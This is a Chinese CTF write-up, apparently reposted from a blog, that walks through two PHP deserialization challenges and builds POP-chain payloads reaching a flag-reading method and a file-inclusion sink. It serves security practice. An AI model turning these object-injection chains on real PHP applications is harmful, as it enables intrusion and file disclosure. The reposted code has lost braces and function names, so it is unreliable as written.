ctf反序列化练题
Posted kode00
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctf反序列化练题相关的知识,希望对你有一定的参考价值。
[SWPUCTF 2021 新生赛]pop
<?php (0); ("index.php"); class w44m private $admin = \'aaa\'; protected $passwd = \'123456\'; public function Getflag() if($this->admin === \'w44m\' && $this->passwd ===\'08067\') include(\'flag.php\'); echo $flag; else echo $this->admin; echo $this->passwd; echo \'nono\'; class w22m public $w00m; public function __destruct() echo $this->w00m; class w33m public $w00m; public $w22m; public function __toString() $this->w00m->$this->w22m(); return 0; $w00m = $_GET[\'w00m\']; ($w00m); ?>
老规矩首先看代码,这是一道反序列化的题,get传参w00m,然后反序列化w00m。
然后寻找可以利用的点来获取Flag
class w44m private $admin = \'aaa\'; protected $passwd = \'123456\'; public function Getflag() if($this->admin === \'w44m\' && $this->passwd ===\'08067\') include(\'flag.php\'); echo $flag; else echo $this->admin; echo $this->passwd; echo \'nono\';
可以看到w44m类中有Getflag方法可以获取flag,因此我们需要实现Getflag这个方法。
那么如何去实现这个方法呢,我们要知道我们反序列化是不触发类的成员方法;只有我们调用时方法才能触发。
那我们如何去实现呢?
class w22m public $w00m; public function __destruct() echo $this->w00m;
可以看到w22m类有__destruct方法,我们知道__destruct在类销毁时会自动调用,所以这就是我们的入口,知道头和尾后我们就可以构造pop链了,
我们让$a=new w22m;,然后通过调用w33m类中的__toString方法来进行调用w44m中的Getflag方法。
如下:
<?php class w44m private $admin = \'w44m\'; protected $passwd = \'08067\'; class w22m public $w00m; public function __destruct() echo $this->w00m; class w33m public $w00m; public $w22m=\'Getflag\'; public function __toString() $this->w00m->$this->w22m();//若w22m为Getflag方法,那么需要让w33m中的w00m为w44m的对象,这样才能调用w44m中的Getflag()方法 return 0; $a=new w22m; $a->w00m=new w33m;//执行w33m类中的toString方法 $a->w00m->w00m=new w44m;// echo (($a)); ?>
[NISACTF 2022]popchains
Happy New Year~ MAKE A WISH <?php echo \'Happy New Year~ MAKE A WISH<br>\'; if(isset($_GET[\'wish\'])) @($_GET[\'wish\']); else $a=new Road_is_Long; (__FILE__); /***************************pop your 2022*****************************/ class Road_is_Long public $page; public $string; public function __construct($file=\'index.php\') $this->page = $file; public function __toString() return $this->string->page; public function __wakeup() if(("/file|ftp|http|https|gopher|dict|\\.\\./i", $this->page)) echo "You can Not Enter 2022"; $this->page = "index.php"; class Try_Work_Hard protected $var; public function append($value) include($value); public function __invoke() $this->append($this->var); class Make_a_Change public $effort; public function __construct() $this->effort = array(); public function __get($key) $function = $this->effort; return $function(); /**********************Try to See flag.php*****************************/
老规矩我们先看代码,可以看到这是一道反序列化的题,通过wish进行get传参来进行反序列化。
然后我们需要看可以获取falg的点,
class Try_Work_Hard protected $var; public function append($value) include($value); public function __invoke() $this->append($this->var);
可以看到Try_Work_Hard类中的append方法里面有include函数,所以说我们可以通过文件包含获取flag。
但是我们无法直接去调用append方法,我们可以先进行调用__invoke魔术方法(上一篇我写过如何去调用__invoke魔术方法,并且上一篇buuctf上的题和这道题相类似)来调用append方法。
尾部找到后接着我们就需要找到我们pop链的首部了。
class Road_is_Long public $page; public $string; public function __construct($file=\'index.php\') $this->page = $file; public function __toString() return $this->string->page; public function __wakeup() if(("/file|ftp|http|https|gopher|dict|\\.\\./i", $this->page)) echo "You can Not Enter 2022"; $this->page = "index.php";
看到在Road_is_Long类中有__wakeup魔术方法,我们知道当反序列化还原时最先调用的就是__wakeup魔术方法。
因此我们首部和尾部都已经找到,所以我们就可以构造我们的pop链
构造思路如下: __wakeup() -> 创建 page 为Road_is_Long 类本身 => __toString -> $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke() -> => append() => include($value); value=/flag
接着我们就可以进行构造了:
<?php class Road_is_Long public $page; public $string; public function __construct() public function __toString() return $this->string->page; class Try_Work_Hard protected $var=\'/flag\'; class Make_a_Change public $effort; $a=new Road_is_Long; $a->page=new Road_is_Long; $a->page->string=new Make_a_Change; $a->page->string->effort=new Try_Work_Hard; echo (($a)); ?>
然后将获取的值Get传入即可
以上是关于ctf反序列化练题的主要内容,如果未能解决你的问题,请参考以下文章